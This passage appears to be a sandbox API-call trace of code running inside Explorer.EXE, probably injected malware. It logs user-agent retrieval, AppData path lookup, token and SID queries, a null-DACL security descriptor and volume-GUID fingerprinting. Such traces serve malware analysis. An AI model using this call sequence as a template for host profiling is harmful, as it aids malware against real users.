lpProcName="CompareStringEx") returned 0x7736b980 [0100.904] GetProcAddress (hModule=0x77320000, lpProcName="GetDateFormatEx") returned 0x773b0920 [0100.904] GetProcAddress (hModule=0x77320000, lpProcName="GetLocaleInfoEx") returned 0x77323c10 [0100.905] GetProcAddress (hModule=0x77320000, lpProcName="GetTimeFormatEx") returned 0x773ad4e0 [0100.905] GetProcAddress (hModule=0x77320000, lpProcName="GetUserDefaultLocaleName") returned 0x7736b790 [0100.905] GetProcAddress (hModule=0x77320000, lpProcName="IsValidLocaleName") returned 0x7736b770 [0100.905] GetProcAddress (hModule=0x77320000, lpProcName="LCMapStringEx") returned 0x7736b710 [0100.906] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentPackageId") returned 0x0 [0100.906] GetCurrentThreadId () returned 0x9a4 [0100.906] GetCommandLineA () returned="C:\\Windows\\Explorer.EXE" [0100.906] GetEnvironmentStringsW () returned 0x87d9bd0* [0100.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1346, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1346 [0100.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1346, lpMultiByteStr=0x45c1f20, cbMultiByte=1346, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1346 [0100.906] FreeEnvironmentStringsW (penv=0x87d9bd0) returned 1 [0100.906] GetStartupInfoW (in: lpStartupInfo=0x4cef8c0 | out: lpStartupInfo=0x4cef8c0*(cb=0x68, lpReserved="C:\\Windows\\Explorer.EXE", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\Explorer.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x1, dwFillAttribute=0x17e, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x87d9bd0, hStdError=0x45c1f20)) [0100.906] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0100.906] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0100.906] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0100.906] GetLastError () returned 0x7f [0100.906] SetLastError (dwErrCode=0x7f) [0100.906] GetLastError () returned 0x7f [0100.906] SetLastError (dwErrCode=0x7f) [0100.906] GetLastError () returned 0x7f [0100.906] SetLastError (dwErrCode=0x7f) [0100.906] GetACP () returned 0x4e4 [0100.906] GetLastError () returned 0x7f [0100.906] SetLastError (dwErrCode=0x7f) [0100.906] IsValidCodePage (CodePage=0x4e4) returned 1 [0100.906] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x4cef850 | out: lpCPInfo=0x4cef850) returned 1 [0100.906] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x4cef2f0 | out: lpCPInfo=0x4cef2f0) returned 1 [0100.906] GetLastError () returned 0x7f [0100.906] SetLastError (dwErrCode=0x7f) [0100.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4cef310, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4cef310, cbMultiByte=256, lpWideCharStr=0x4ceeff0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿⱘ䊖") returned 256 [0100.907] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿⱘ䊖", cchSrc=256, lpCharType=0x4cef610 | out: lpCharType=0x4cef610) returned 1 [0100.907] GetLastError () returned 0x7f [0100.907] SetLastError (dwErrCode=0x7f) [0100.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4cef310, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4cef310, cbMultiByte=256, lpWideCharStr=0x4ceefe0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0100.907] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0100.907] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x4ceedd0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0100.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x4cef410, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿpbdw", lpUsedDefaultChar=0x0) returned 256 [0100.907] GetLastError () returned 0x7f [0100.907] SetLastError (dwErrCode=0x7f) [0100.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4cef310, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4cef310, cbMultiByte=256, lpWideCharStr=0x4ceefe0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0100.907] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0100.907] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x4ceedd0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0100.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x4cef510, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0100.907] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x2c75860, nSize=0x104 | out: lpFilename="C:\\Windows\\Explorer.EXE" (normalized: "c:\\windows\\explorer.exe")) returned 0x17 [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.907] GetLastError () returned 0x0 [0100.907] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.908] SetLastError (dwErrCode=0x0) [0100.908] GetLastError () returned 0x0 [0100.909] SetLastError (dwErrCode=0x0) [0100.909] GetLastError () returned 0x0 [0100.909] SetLastError (dwErrCode=0x0) [0100.909] GetLastError () returned 0x0 [0100.909] SetLastError (dwErrCode=0x0) [0100.909] GetLastError () returned 0x0 [0100.909] SetLastError (dwErrCode=0x0) [0100.909] GetLastError () returned 0x0 [0100.909] SetLastError (dwErrCode=0x0) [0100.909] GetLastError () returned 0x0 [0100.909] SetLastError (dwErrCode=0x0) [0100.909] GetLastError () returned 0x0 [0100.909] SetLastError (dwErrCode=0x0) [0100.909] GetLastError () returned 0x0 [0100.909] SetLastError (dwErrCode=0x0) [0100.910] GetSystemDefaultLCID () returned 0x409 [0100.910] GetCurrentProcessId () returned 0x568 [0100.910] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x7fefdbe0000 [0100.910] GetProcAddress (hModule=0x7fefdbe0000, lpProcName="ObtainUserAgentString") returned 0x7fefdc41fa4 [0100.921] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x4ceec50, cbSize=0x4ceec4c | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", cbSize=0x4ceec4c) returned 0x0 [0100.924] FreeLibrary (hLibModule=0x7fefdbe0000) returned 1 [0100.924] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2c72bb0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0100.924] PathRemoveBackslashW (in: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="g" [0100.924] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4ceee60, nSize=0x104 | out: lpFilename="C:\\Windows\\Explorer.EXE" (normalized: "c:\\windows\\explorer.exe")) returned 0x17 [0100.924] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x4cef020 | out: TokenHandle=0x4cef020*=0xa28) returned 1 [0100.924] GetTokenInformation (in: TokenHandle=0xa28, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x4ceef90 | out: TokenInformation=0x0, ReturnLength=0x4ceef90) returned 0 [0100.924] GetLastError () returned 0x7a [0100.924] GetTokenInformation (in: TokenHandle=0xa28, TokenInformationClass=0x1, TokenInformation=0x471fc40, TokenInformationLength=0x2c, ReturnLength=0x4ceef90 | out: TokenInformation=0x471fc40, ReturnLength=0x4ceef90) returned 1 [0100.924] GetTokenInformation (in: TokenHandle=0xa28, TokenInformationClass=0xc, TokenInformation=0x2c72b50, TokenInformationLength=0x4, ReturnLength=0x4cef01c | out: TokenInformation=0x2c72b50, ReturnLength=0x4cef01c) returned 1 [0100.924] CloseHandle (hObject=0xa28) returned 1 [0100.924] GetLengthSid (pSid=0x471fc50*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4))) returned 0x1c [0100.925] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x2c72b78, dwRevision=0x1 | out: pSecurityDescriptor=0x2c72b78) returned 1 [0100.925] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x2c72b78, bDaclPresent=1, pDacl=0x0, bDaclDefaulted=0 | out: pSecurityDescriptor=0x2c72b78) returned 1 [0100.925] GetVersionExW (in: lpVersionInformation=0x4ceee38*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x9, dwBuildNumber=0x0, dwPlatformId=0x9, szCSDVersion="") | out: lpVersionInformation=0x4ceee38*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0100.925] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0100.925] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x4720280, lpbSaclPresent=0x4ceefec, pSacl=0x4ceefe0, lpbSaclDefaulted=0x4ceefe8 | out: lpbSaclPresent=0x4ceefec, pSacl=0x4ceefe0, lpbSaclDefaulted=0x4ceefe8) returned 1 [0100.925] SetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2c72b78, bSaclPresent=1, pSacl=0x4720294, bSaclDefaulted=0 | out: pSecurityDescriptor=0x2c72b78) returned 1 [0100.925] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x4ceedc0 | out: pszPath="C:\\Windows") returned 0x0 [0100.925] PathAddBackslashW (in: pszPath="C:\\Windows" | out: pszPath="C:\\Windows\\") returned="" [0100.925] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\Windows\\", lpszVolumeName=0x4ceebb0, cchBufferLength=0x104 | out: lpszVolumeName="") returned 0 [0100.926] PathRemoveBackslashW (in: pszPath="C:\\Windows\\" | out: pszPath="C:\\Windows") returned="" [0100.926] PathRemoveFileSpecW (in: pszPath="C:\\Windows" | out: pszPath="C:\\") returned 1 [0100.926] PathAddBackslashW (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0100.926] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\", lpszVolumeName=0x4ceebb0, cchBufferLength=0x104 | out: lpszVolumeName="\\\\?\\Volume{4180b822-5856-11e7-8b2d-806e6f6e6963}\\") returned 1 [0100.926] CLSIDFromString (in: lpsz="{4180b822-5856-11e7-8b2d-806e6f6e6963}", pclsid=0x2c72dd0 | out: pclsid=0x2c72dd0*(Data1=0x4180b822, Data2=0x5856, Data3=0x11e7, Data4=([0]=0x8b, [1]=0x2d, [2]=0x80, [3]=0x6e, [4]=0x6f, [5]=0x6e, [6]=0x69, [7]=0x63))) returned 0x0 [0100.926] GetVersionExW (in: lpVersionInformation=0x4ceeeb0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x4ceeeb0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0100.926] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x4ceefc0 | out: TokenHandle=0x4ceefc0*=0xe4) returned 1 [0100.926] GetTokenInformation (in: TokenHandle=0xe4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x4ceefbc | out: TokenInformation=0x0, 